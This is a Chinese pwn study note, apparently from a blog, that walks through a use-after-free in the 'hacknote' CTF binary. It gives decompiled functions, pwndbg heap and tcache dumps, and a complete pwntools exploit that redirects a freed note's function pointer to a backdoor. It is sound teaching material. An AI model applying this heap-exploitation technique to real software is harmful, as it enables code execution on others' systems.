Pwn学习笔记(10)–UAF:
UAF就是Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。
由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。
题目是一个标准的菜单题,有创建note和输出删除的功能,别的不看了,直接看那三个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| unsigned int add_note() { int v0; int i; int size; char buf[8]; unsigned int v5;
v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !*(¬elist + i) ) { *(¬elist + i) = malloc(8u); if ( !*(¬elist + i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(¬elist + i) = print_note_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(¬elist + i); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(¬elist + i) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(¬elist + i) + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
|
先分配了一个堆空间,具体大小为数组notelist的单个元素的大小,之后就是让noteliist第一个元素指向一个函数:
1
| *(_DWORD *)*(¬elist + i) = print_note_content;
|
估计第一个参数是一个函数指针,之后malloc第二个堆,地址赋给第二个参数,之后读取size大小的字符进入第二个堆块。
1 2 3 4
| v0 = (int)*(¬elist + i); *(_DWORD *)(v0 + 4) = malloc(size);
read(0, *((void **)*(¬elist + i) + 1), size);
|
删除note:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| unsigned int del_note() { int v1; char buf[4]; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) { free(*((void **)*(¬elist + v1) + 1)); free(*(¬elist + v1)); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
|
发现先后删除了两个堆块,一个是写入的堆块,也就是上面第二个生成的堆块,之后释放了第一个生成的堆块,也就是存放两个指针的那个堆块:
1 2
| free(*((void **)*(¬elist + v1) + 1)); free(*(¬elist + v1));
|
但之后没有对指针进行置零,存在UAF漏洞,因为show里存在idx参数,释放后如果申请大小差不多的堆块。
之后是print_note函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned int print_note() { int v1; char buf[4]; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) (*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1)); return __readgsdword(0x14u) ^ v3; }
|
很显然,这里调用了那个堆块里的动态函数:
1
| (*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));
|
所以只需要想办法修改这里的函数指针即可getshell。
上gdb调一下,先申请两个堆块,之后ctrl+c执行gdb指令看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| pwndbg> r Starting program: /mnt/c/Users/20820/Downloads/hacknote ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :1 Note size :20 Content :aaa Success ! ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :1 Note size :30 Content :AAA Success ! ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :^C
|
之后查看下heap状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x804b008 Size: 0x190 (with flag bits: 0x191)
Allocated chunk | PREV_INUSE Addr: 0x804b198 Size: 0x10 (with flag bits: 0x11)
Allocated chunk | PREV_INUSE Addr: 0x804b1a8 Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE Addr: 0x804b1c8 Size: 0x10 (with flag bits: 0x11)
Allocated chunk | PREV_INUSE Addr: 0x804b1d8 Size: 0x30 (with flag bits: 0x31)
Top chunk | PREV_INUSE Addr: 0x804b208 Size: 0x21df8 (with flag bits: 0x21df9)
|
除开最开始的那个size为0x190的那位以外,其他的大致符合情况 ,两次都是先申请了一个堆块存放两个地址,然后申请另一个堆块来存放输入的内容,之后读一下0x804b198的内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/30gx 0x804b198 0x804b198: 0x0000001100000000 0x0804b1b00804865b <---这里两个数据,一个是函数指针,也就是0x0804865b,另一个就是输入地址的那个堆块的地址0x0804b1b0 0x804b1a8: 0x0000002100000000 0x000000000a616161 0x804b1b8: 0x0000000000000000 0x0000000000000000 0x804b1c8: 0x0000001100000000 0x0804b1e00804865b 0x804b1d8: 0x0000003100000000 0x000000000a414141 0x804b1e8: 0x0000000000000000 0x0000000000000000 0x804b1f8: 0x0000000000000000 0x0000000000000000 0x804b208: 0x00021df900000000 0x0000000000000000 0x804b218: 0x0000000000000000 0x0000000000000000 0x804b228: 0x0000000000000000 0x0000000000000000 0x804b238: 0x0000000000000000 0x0000000000000000 0x804b248: 0x0000000000000000 0x0000000000000000 0x804b258: 0x0000000000000000 0x0000000000000000 0x804b268: 0x0000000000000000 0x0000000000000000 0x804b278: 0x0000000000000000 0x0000000000000000
|
这个函数在IDA里的地址是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| .text:0804865B print_note_content proc near ; DATA XREF: add_note+9A↓o .text:0804865B .text:0804865B arg_0 = dword ptr 8 .text:0804865B .text:0804865B ; __unwind { .text:0804865B push ebp .text:0804865C mov ebp, esp .text:0804865E sub esp, 8 .text:08048661 mov eax, [ebp+arg_0] .text:08048664 mov eax, [eax+4] .text:08048667 sub esp, 0Ch .text:0804866A push eax ; s .text:0804866B call _puts .text:08048670 add esp, 10h .text:08048673 nop .text:08048674 leave .text:08048675 retn .text:08048675 ; } // starts at 804865B .text:08048675 print_note_content endp
|
此时bins里啥都没有:
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> bins tcachebins empty fastbins empty unsortedbin empty smallbins empty largebins empty
|
之后,我们分别释放掉两个堆,发现heap变了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x804b008 Size: 0x190 (with flag bits: 0x191)
Free chunk (tcachebins) | PREV_INUSE Addr: 0x804b198 Size: 0x10 (with flag bits: 0x11) fd: 0x00
Free chunk (tcachebins) | PREV_INUSE Addr: 0x804b1a8 Size: 0x20 (with flag bits: 0x21) fd: 0x00
Free chunk (tcachebins) | PREV_INUSE Addr: 0x804b1c8 Size: 0x10 (with flag bits: 0x11) fd: 0x804b1a0
Free chunk (tcachebins) | PREV_INUSE Addr: 0x804b1d8 Size: 0x30 (with flag bits: 0x31) fd: 0x00
Top chunk | PREV_INUSE Addr: 0x804b208 Size: 0x21df8 (with flag bits: 0x21df9)
|
释放掉了之后,读取0x804b198的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/30gx 0x804b198 0x804b198: 0x0000001100000000 0x0804b01000000000 0x804b1a8: 0x0000002100000000 0x0804b01000000000 0x804b1b8: 0x0000000000000000 0x0000000000000000 0x804b1c8: 0x0000001100000000 0x0804b0100804b1a0 0x804b1d8: 0x0000003100000000 0x0804b01000000000 0x804b1e8: 0x0000000000000000 0x0000000000000000 0x804b1f8: 0x0000000000000000 0x0000000000000000 0x804b208: 0x00021df900000000 0x0000000000000000 0x804b218: 0x0000000000000000 0x0000000000000000 0x804b228: 0x0000000000000000 0x0000000000000000 0x804b238: 0x0000000000000000 0x0000000000000000 0x804b248: 0x0000000000000000 0x0000000000000000 0x804b258: 0x0000000000000000 0x0000000000000000 0x804b268: 0x0000000000000000 0x0000000000000000 0x804b278: 0x0000000000000000 0x0000000000000000
|
再看看这个:
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> bins tcachebins 0x10 [ 2]: 0x804b1d0 —▸ 0x804b1a0 ◂— 0 0x20 [ 1]: 0x804b1b0 ◂— 0 0x30 [ 1]: 0x804b1e0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty
|
完蛋,没注意到tcache给我保存了这些内容,不过不清楚是否存在影响,继续调一调看看吧,之后重新申请个堆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> c Continuing. 1 Note size :8 Content :aaaa Success ! ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :^C
|
之后再看看heap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x804b008 Size: 0x190 (with flag bits: 0x191)
Allocated chunk | PREV_INUSE Addr: 0x804b198 Size: 0x10 (with flag bits: 0x11)
Free chunk (tcachebins) | PREV_INUSE Addr: 0x804b1a8 Size: 0x20 (with flag bits: 0x21) fd: 0x00
Allocated chunk | PREV_INUSE Addr: 0x804b1c8 Size: 0x10 (with flag bits: 0x11)
Free chunk (tcachebins) | PREV_INUSE Addr: 0x804b1d8 Size: 0x30 (with flag bits: 0x31) fd: 0x00
Top chunk | PREV_INUSE Addr: 0x804b208 Size: 0x21df8 (with flag bits: 0x21df9)
|
0x804b198这个地址的chunk被重新拿去用了,第二次申请的那个原本存放了函数指针和字符串指针的那个chunk被分配了,之前拿去作为存放内容的那两个chunk一个都没有被分配,之后读一下这个地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/30xg 0x804b198 0x804b198: 0x0000001100000000 0x0000000a61616161 0x804b1a8: 0x0000002100000000 0x0804b01000000000 0x804b1b8: 0x0000000000000000 0x0000000000000000 0x804b1c8: 0x0000001100000000 0x0804b1a00804865b 0x804b1d8: 0x0000003100000000 0x0804b01000000000 0x804b1e8: 0x0000000000000000 0x0000000000000000 0x804b1f8: 0x0000000000000000 0x0000000000000000 0x804b208: 0x00021df900000000 0x0000000000000000 0x804b218: 0x0000000000000000 0x0000000000000000 0x804b228: 0x0000000000000000 0x0000000000000000 0x804b238: 0x0000000000000000 0x0000000000000000 0x804b248: 0x0000000000000000 0x0000000000000000 0x804b258: 0x0000000000000000 0x0000000000000000 0x804b268: 0x0000000000000000 0x0000000000000000 0x804b278: 0x0000000000000000 0x0000000000000000
|
发现这里被输入的字符给占了,再去读一下这个0x804b1c8:
1 2
| pwndbg> x/30xg 0x804b1c8 0x804b1c8: 0x0000001100000000 0x0804b1a00804865b
|
这里没有啥变化,依旧是指向输出函数的地址,以及指向某字符串的地址,0x804b198这个地址的chunk之前编号为0,因为地址更低,更先被分配,这个地址更高的作为编号1,同时整个程序存在backdoor:
1 2 3 4
| int magic() { return system("cat /home/hacknote/flag"); }
|
所以只需要通过两次释放之后,再申请一个0x8之类比较小的,保证能够写入地址同时能够让分配到的chunk为同一个即可,然后申请的时候发送的数据为后门函数的地址即可,之后输出的时候它会自动调用后门程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
|
from pwn import *
r = process('./hacknote')
def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx))
def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
magic = 0x08048986
addnote(20, "note1") addnote(30, "note2")
delnote(0) delnote(1)
addnote(8, p32(magic))
printnote(0) gdb.attach(r) r.interactive()
|